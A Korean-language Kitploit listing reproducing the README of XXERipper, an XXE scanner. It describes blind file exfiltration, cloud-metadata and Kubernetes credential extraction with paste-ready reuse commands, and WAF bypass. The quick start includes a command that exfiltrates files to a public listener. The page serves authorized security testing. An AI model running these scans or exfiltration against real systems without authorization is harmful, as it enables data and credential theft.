Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
XXERipper — 블랙박스 XXE 스캐너로, 통계적 베이스라이닝, 파서 핑거프린팅, OOB 확인을 통해 인밴드, 에러 기반, 블라인드 아웃오브밴드 주입을 탐지하며 SARIF 출력을 지원합니다. | Kitploit
도구/GitHubGitHub/kamalx06/xxeripper
ReconnaissanceVulnerability ScannersWeb Vulnerability ScannersExploitationScripting & AutomationAPI Security TestingData ExfiltrationInformation GatheringWAF BypassWeb SecurityPenetration TestingRed Teaming
1315123일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubkamalx06/xxeripper

XXERipper

블랙박스 XXE 스캐너로, 통계적 베이스라이닝, 파서 핑거프린팅, OOB 확인을 통해 인밴드, 에러 기반, 블라인드 아웃오브밴드 주입을 탐지하며 SARIF 출력을 지원합니다.

저장소 보기

XXERipper

보안 전문가를 위한 독립 실행형 블랙박스 XML 외부 엔티티(XXE) 스캐너.

XXERipper는 30개 이상의 공격 기법군에 걸쳐 인밴드(in-band), 오류 기반(error-based), 블라인드 아웃오브밴드(out-of-band) XXE를 탐지합니다. 통계적 베이스라이닝, 차등 파서 핑거프린팅, interactsh-client를 통한 아웃오브밴드 확인(수동 또는 자동), 브라우저 기반 콘솔, WAF 우회 인코딩, 종단 간 익스플로잇 체인 탐지, 붙여넣기 가능한 셸 스니펫을 포함한 자격 증명 추출, CWE 매핑 결과, 그리고 CI/CD 및 보고를 위한 JSON / SARIF / HTML 출력을 결합합니다.

License: GPL v3 Python 3.9+ Version PRs Welcome


목차

  • 개요
  • 주요 기능
  • 설치
  • 빠른 시작
  • 사용법
  • 명령줄 레퍼런스
  • 웹 콘솔
  • 아키텍처 및 설계
  • 핑거프린팅 방법론
  • 탐지 방법론
  • 정확도 엔진
  • 공격 기법
  • 익스플로잇 체인 및 전리품 추출
  • 아웃오브밴드 확인
  • WAF 우회 인코딩
  • 사용자 정의 페이로드
  • 출력 형식
  • 신뢰성 및 커버리지
  • CI/CD 통합
  • 포함된 랩에 대한 테스트
  • 빌드, 라이선스 및 크레딧

개요

XXERipper는 XML 외부 엔티티 인젝션을 위한 자체 완결형 CLI 및 브라우저 콘솔 스캐너로, 잘못 테스트하기는 쉽고 제대로 테스트하기는 어려운 취약점 클래스를 정확하고 낮은 오탐률로 탐지해야 하는 침투 테스터, 버그 바운티 헌터, 보안 연구자를 위해 설계되었습니다.

의도적으로 최소한의 의존성 — httpx와 (콘솔용) flask, 그 외에는 아무것도 — 을 사용하며 종단 간 감사가 가능합니다. 모든 단계를 추적할 수 있고, 모든 발견에는 증거 추적이 따르며, 건너뛴 모든 기법은 이유와 함께 보고되고, 추출된 모든 파일이나 자격 증명은 중복 제거되어 붙여넣기 가능한 익스플로잇 스니펫과 함께 저장됩니다.

XXERipper는 엔티티 해석 프리미티브 자체를 넘어서 대상를 익스플로잇하지 않습니다. 파서가 외부 엔티티를 해석하는지, 그 결과를 인밴드로, 파서 오류를 통해, 또는 아웃오브밴드로 관찰할 수 있는지를 판단하고, 그 판단을 신뢰도 점수, CWE 매핑, 그리고 전체 체인이 완료되었을 때는 종단 간 영향을 명시하는 롤업 발견과 함께 보고합니다.


주요 기능

  • 30개 이상의 공격 기법군 — 인밴드, 오류 기반, 블라인드, 인코딩 우회, 대체 싱크, 확장 페처, 클라우드 메타데이터, RCE 래퍼, Office 문서, YAML 역직렬화 클래스에 걸쳐 있습니다.
  • 종단 간 익스플로잇 체인 탐지. ChainTracker가 모든 발견을 관찰하고, ID + 증거로부터 체인 단계를 도출하며, 템플릿이 완성되면 롤업 발견을 발생시킵니다 — XXE → IMDS → IAM 자격 증명 → AWS 계정 탈취, XXE → SSH 개인 키 → 측면 이동, XXE → Kubernetes 시크릿 → 클러스터 자격 증명 탈취, 그리고 열 가지 더.
  • 일곱 종류에 걸친 자격 증명 추출을 갖춘 전리품 저장소. 모든 파일 읽기 발견은 응답에서 원시 파일 내용을 끌어내고, 중복 제거하여 저장하며, AWS IAM 블롭, AWS CLI 자격 증명, Alibaba RAM 자격 증명, SSH 개인 키, GCP 서비스 계정, OAuth 액세스 토큰(GCP 메타데이터 및 Azure 관리 ID), Kubernetes 서비스 계정 토큰, 일반 베어러 토큰을 스캔하는 범용 추출기를 거칩니다. 각 자격 증명은 붙여넣기 가능한 셸 스니펫 — aws sts get-caller-identity, aliyun sts GetCallerIdentity, ssh -i …, gcloud auth activate-service-account, kubectl --token=…, curl -H 'Authorization: Bearer …' — 을 함께 제공하며, 해당되는 경우 토큰의 실제 클레임으로 구성됩니다.
  • 11개 XML 스택에 걸친 차등 파서 핑거프린팅 (libxml2, Xerces, .NET, Java SAX/StAX, Python stdlib, PHP DOM, Ruby, Node.js, Perl, Go) — 쌍을 이룬 테스트/대조 프로브와 디스크상의 URL별 캐시를 사용합니다.
  • 통계적 베이스라이닝 — 중앙값, IQR, p95, 최빈 상태, 윈도우 Shannon 엔트로피 — 실제 발견을 억제하지 않으면서 노이즈를 거부하는 등급화된 거부권을 사용합니다.
  • interactsh-client를 통한 아웃오브밴드 확인. 두 가지 모드: 수동 (스캐너가 모든 서브도메인을 출력하고, 사용자가 클라이언트를 관찰) 및 자동 (--oob-auto가 interactsh-client를 실행하고 콜백을 프로세스 내에서 상관 분석). 두 모드 모두 페이로드마다 고유한 16-hex 토큰을 삽입하므로 콜백이 잘못 귀속될 수 없습니다.
  • 블라인드 파일 유출 — 스캐너가 대상이 콜백으로 파일 내용을 전송하게 만드는 DTD를 제공하고, 유출된 페이로드를 추출하여 인밴드 읽기와 동일한 전리품 파이프라인으로 라우팅합니다. 세 가지 DTD 호스팅 옵션: 내장 HTTP 서버(--oob-listen), 자체 웹 서버가 제공하는 디렉터리(--oob-dtd-dir), 또는 WebUI 자체의 Flask 라우트(드로어에서 Serve DTDs from this WebUI 체크).
  • 클라우드 메타데이터 체인 탐지를 일급 단계로: AWS IMDSv1/v2(IMDSv2 탐지 포함), GCP, Azure, Alibaba, Oracle, Kubernetes 서비스 계정 API. 자격 증명 마커가 포함된 응답은 CRITICAL로 승격되고 더 이상 프로브되지 않습니다.
  • XXE-to-RCE 프로토콜 래퍼: jar://, data://, phar://, glob://, compress.zlib://.
  • Office 문서 XSLT 호출 (XXE-OFFICE-XSLT-{DOCX,XLSX}) — Word 또는 Excel 파트 내부의 xml-stylesheet PI가 서버 측 문서 프로세서로 하여금 공격자가 제어하는 XSLT를 가져오게 합니다.
  • 안전하지 않은 YAML 역직렬화 — CWE-502, PyYAML 및 SnakeYAML 페이로드를 통해 동일한 엔드포인트를 거쳐 XML과 함께 프로브됩니다.
  • JSON-to-XML 콘텐츠 타입 전환 — 클래스패스에 jackson-dataformat-xml이 있는 Spring MVC를 잡아내며, 이는 모든 @RequestBody 엔드포인트에서 application/xml을 조용히 수용합니다.
  • SAML 서명 전 XXE — 서명 검증 전에 어설션 본문을 파싱하며, 이는 CVE-2026-28809(esaml)가 노출한 시퀀스입니다.
  • WAF 우회 단계 (--bypass-waf) — 세 계열에 걸친 열다섯 개 인코더를 통해 전체 페이로드 카탈로그를 재전송합니다. 핵심 단계 이후에 실행되므로 직접적인 적중은 약 1,500개의 인코딩된 페이로드 뒤에 묻히지 않고 약 20개 요청에서 발견됩니다.
  • HTTP/2 협상 — 세션 빌더가 ALPN을 통해 HTTP/2를 사용하고 조용히 HTTP/1.1로 폴백합니다.
  • 다중 지표 핑거프린팅 — 단일 문자열 일치로는 발견이 트리거되지 않습니다.
  • 단계별 예외 격리 — 한 기법군의 충돌이 이미 완료된 단계의 발견을 잃게 할 수 없습니다.
  • 웹 콘솔 (--serve) — 라이브 이벤트 스트리밍, 명령 팔레트, 키보드 기반 내비게이션, 작업별 JSON / SARIF / HTML 다운로드, 그리고 보고서를 다운로드하는 대신 인라인으로 여는 별도의 View HTML 버튼을 갖춘 브라우저 기반 워크벤치. 제로 의존성 프런트엔드: CDN 없는 자체 완결형 HTML 파일 하나.
  • CWE 매핑 결과를 JSON, SARIF v2.1.0, 자체 완결형 인쇄 가능 HTML 보고서로 출력합니다.
  • 커버리지 보고 — 실행되지 않은 모든 단계가 이유와 함께 나열되므로 "깨끗함"이 "불완전함"과 혼동되지 않습니다.
  • 사전 인증 재생 — --pre-auth-request FILE이 Burp 형식 요청을 재생하고 스캔 시작 전에 해당 Set-Cookie를 병합하므로, 쿠키 파일 없이도 다단계 인증 흐름이 작동합니다.
  • 속도 제한, 백오프를 포함한 재시도, 그리고 실시간 예산으로 우발적인 DoS를 방지합니다.

설치

PyPI (권장)```bash

pip install xxeripper pip install "xxeripper[socks]" # plus SOCKS proxy support

기본 설치에는 `httpx[http2]`(ALPN을 통해 HTTP/2 협상이 활성화됨)와 `Flask`(`--serve` 웹 콘솔에서 사용됨)가 포함됩니다.
SOCKS 프록시 지원은 유일한 선택적 추가 기능입니다. HTTP/2는 선택적 기능이 아니라 필수 기능이며, 기본 의존성 목록에 `httpx[http2]`로 포함되어 있습니다. `xxeripper[http2]` 추가 기능은 순전히 사용자 습관을 위해 제공되며, 이를 설치하는 것은 기본 패키지를 설치하는 것과 동일합니다.

### 배포 패키지```bash
sudo pacman -U xxeripper-1.0.0-1-any.pkg.tar.zst    # Arch
sudo dpkg -i xxeripper_1.0.0-1_all.deb              # Debian / Ubuntu
sudo dnf install xxeripper-1.0.0-1.fc44.noarch.rpm  # Fedora / RHEL

소스에서```bash

git clone https://github.com/kamalx06/XXERipper.git cd XXERipper && pip install -e ".[socks]"

### 요구 사항

- **Python 3.9부터 3.14까지.**
- **`httpx[http2]` ≥ 0.27, < 0.29** — HTTP 클라이언트. HTTP/2 지원은
  `httpx`의 `[http2]` 추가 기능을 통해 포함되며, 이는 `h2`
  의존성을 함께 가져옵니다. 스캐너는 TLS 핸드셰이크에서 ALPN을 통해
  HTTP/2를 협상하고, 서버가 이를 지원하지 않는 경우 조용히
  HTTP/1.1로 폴백합니다.
- **`Flask` ≥ 3.0, < 4.0** — `--serve` 웹 콘솔에서 사용됩니다. 이는
  선택적 의존성이 아닌 주요 의존성입니다. 콘솔은 일급 인터페이스이며,
  `xxeripper --serve`는 [빠른 시작](#quick-start) 및
  [웹 콘솔](#web-console)에 문서화되어 있습니다.
- **선택 사항:** SOCKS 프록시용 `PySocks` ≥ 1.7.1
  (`xxeripper[socks]`).
- **선택 사항:** 자동 OOB 확인(`--oob-auto`)을 위한 `PATH` 내
  `interactsh-client`. 수동 OOB 모드(`--oob-domain`)는 외부
  의존성이 없습니다 — 별도 터미널에서 직접 `interactsh-client`를
  실행합니다.

휠에는 단일 파일 `xxeripper.py`가 포함되어 있습니다. 패키지
디렉터리도, 컴파일된 확장도, 설치 시 빌드 단계도 없습니다.
CLI 진입점은 `xxeripper = "xxeripper:main"`으로 선언되어 있으므로,
`pip install xxeripper`는 `PATH`에 `xxeripper` 실행 파일을
배치합니다.

### 선택적 추가 기능

| 추가 기능 | 가져오는 항목 | 설치 시기 |
|---|---|---|
| `xxeripper[socks]` | `PySocks` ≥ 1.7.1 | `socks5h://`를 통한 Tor를 포함하여 SOCKS5 프록시를 통해 스캔할 때 |
| `xxeripper[http2]` | *(새로운 항목 없음)* | 엄격히 필요하지 않음 — 기본 설치에 이미 `httpx[http2]`가 포함되어 있음. 사용자 습관을 위해 제공됨 |

`[webui]` 추가 기능은 없습니다 — Flask는 주요 의존성이며,
콘솔은 모든 기본 설치에서 즉시 작동합니다.

---

## 빠른 시작```bash
# 1. Basic scan (in-band and error-based, no OOB)
xxeripper https://target.com/api/xml

# 2. Terminal A: start interactsh-client and note the session domain
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro

# 3. Terminal B: scan with OOB payloads under that domain
xxeripper https://target.com/api/xml \
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

# 4. Match the [OOB] lines from the scanner against callbacks in Terminal A

# 5. Or skip the two-terminal dance: let the scanner spawn and drive
#    interactsh-client itself
xxeripper https://target.com/api/xml --oob-auto

# 6. Blind file exfiltration with the built-in DTD server
xxeripper https://target.com/api/xml \
    --oob-auto --oob-listen 0.0.0.0:8888 \
    --oob-public-url http://your-public-ip:8888
도구 다운로드